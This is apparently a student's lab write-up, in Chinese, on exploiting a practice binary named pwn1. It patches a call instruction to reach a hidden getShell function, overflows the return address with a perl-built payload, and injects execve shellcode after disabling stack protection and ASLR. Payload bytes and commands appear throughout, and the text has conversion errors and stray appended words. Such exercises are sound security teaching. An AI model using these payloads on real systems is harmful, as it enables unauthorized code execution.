本次实践的对象是一个名为pwn1的linux可执行文件。linux
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。vim
基本Linux操做,例如反汇编指令、编辑器指令等,具体指令见实验过程windows
汇编语言基础sass
NOP汇编指令的机器码是“90” JNE汇编指令的机器码是“75” JE 汇编指令的机器码是“74” JMP汇编指令的机器码是“eb” CMP汇编指令的机器码是“39
基本gdb单步调试能力安全
将pwn1复制为pwn0做为备份,运行pwn1,发现pwn1的功能是打印输入的内容dom
使用objdump -d pwn1
将pwn1反汇编 ,查看相关函数编辑器
排除系统调用,寻找关键函数main
、foo
、getshell
函数
根据反汇编代码学习
call
对应的跳转指令为:e8+偏移地址
,如图中所示为e8 d7 ff ff ff
,本来eip所对应地址为:0x80484ba
,最终指令地址为eip+偏移地址
,即函数foo
的首地址8048491
,经过计算器能够验证正确性
getshell
的首地址为0x804847d
,计算偏移地址为0x804847d-0x80484ba
,得0xffffffc3
,因为大小端存储格式,更改指令应该为e8 c3 ff ff ff
foo
基地址-0xffffffd7
=getshell
基地址-所求跳转偏移地址,答案同样计算出地址后,对程序跳起色器指令进行修改,使其再也不跳转到foo
,而是直接跳转至函数getShell
利用万能的vim
打开pwn1文件,发现满屏乱码,缘由是vim默认显示ASCII码,esc
切换到命令模式输入命令:%!xxd
将其转换为16进制显示(windows环境推荐winhex)
搜索须要修改的部分,便于修改,搜索命令/+搜索内容
,输入i
切换到输入模式,将d7 ff ff ff
修改成c3 ff ff ff
再次切换至命令模式,利用命令:%!xdd -r
,使文件从十六进制转换回ASCII码,国际惯例:wq
保存并退出,为了验证咱们是否修改正确,再次利用objdump -d pwn1
反汇编查看代码,确认修改正确
确认修改地址成功,运行pwn1,验证是否可以跳转至getshell
函数,发现成功获得shell
从备份pwn0复制pwn2进行实验,objdump -d pwn2
查看反汇编代码,计算缓冲区大小
根据上图的代码,咱们猜想缓冲区大小为0x1c
,即28字节大小,加上ebp
的四个字节共为32字节,咱们运行程序进行输入,分别为36字节、32字节、31字节、28字节、27字节验证本身的想法
输入36字节的输入111111112222222233333333444444445555
,gdb调试,i r
查看寄存器的值,eip
中0x35353535
正是5555
的ASCII值,可见返回地址被5555
覆盖,将5555
改为getshell
地址0x0804847d
便可
可是输入参数需为ASCII码,地址须要与填充的字符串一块儿,利用解释型语法perl
构造后输入,具体构造方法以下:
将所需字符串+地址,利用perl
重定向至文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF1
查看文件cat BOF1
或xxd BOF1
可查看是否重定向成功,成功后利用管道输入参数至pwn2(cat BOF1; cat ) | ./pwn2
,成功得到shell
ShellCode:一段机器指令(code),一般这段机器指令的目的是为获取一个交互式的shell(像linux的shell或相似windows下的cmd.exe),因此这段机器指令被称为shellcode
前期环境准备工做
备份pwn0为pwn3做为实验对象
输入指令apt-get install execstack
安装execstack
设置堆栈可执行,不然就算注入成功也没法执行。
execstack -s pwn3 //设置堆栈可执行 execstack -q pwn3 //查询文件的堆栈是否可执行
关闭地址随机化:现代操做系统地址随机化致使缓冲区溢出困难,下次能够尝试不关闭随机化的缓冲区溢出攻击。
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭 'echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化 more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭
(其中“2”为开启,“0”为关闭)
运行pwn3,构造shellcode注入,gdb单步调试,确认返回地址的位置
构造shellcode,有以下三种构造方式,实验指导中所谓的“坑”即方法一,在缓冲区足够大时是适用的,因为本实验缓冲区只有32字节,并不适用,咱们选择方法二:RNS溢出模式
根据shellcode构造方法进行构造,继续利用perl
语句重定向后注入,注入原理以下:
参考实验指导的shellcode,假设返回地址1234进行构造:perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode1
,再利用(cat input_shellcode;cat) | ./pwn3
进行注入
打开第二个terminal,利用gdb进行调试,首先找到对应进程才能进行调试,输入ps -ef | grep pwn3
找到对应进程,进程号为6719
gdb命令attach+进程号
进行单步调试,disassemble+函数名
查看对应函数指令对应地址,其中返回值ret是咱们关注的重点
b+指针
设置ret的断点,c
为函数继续执行的意思,注意必定要在注入的terminal按下回车,不然会出错,总结中将提到这一错误;利用i r esp
查看esp的地址,x/16x+esp地址
查看esp中的内容的十六进制,能够清晰看到esp最后为0x01020304
正是咱们假定实验的数值。
确认返回地址无误后,咱们将假定的返回地址地址1234换为shellcode
函数的真正地址,即0xffffd2ec+0x4=0xffffdef0
,重定向为input_shellcode2
注入shellcode,成功得到shell
continue
时,没有去另外一个终端按下回车而是在当前终端按下回车,最终的esp并不在ret,通过查看地址的数据,发现差了四个字节,应该是多了回车致使多执行了一条命令,使esp产生了变化。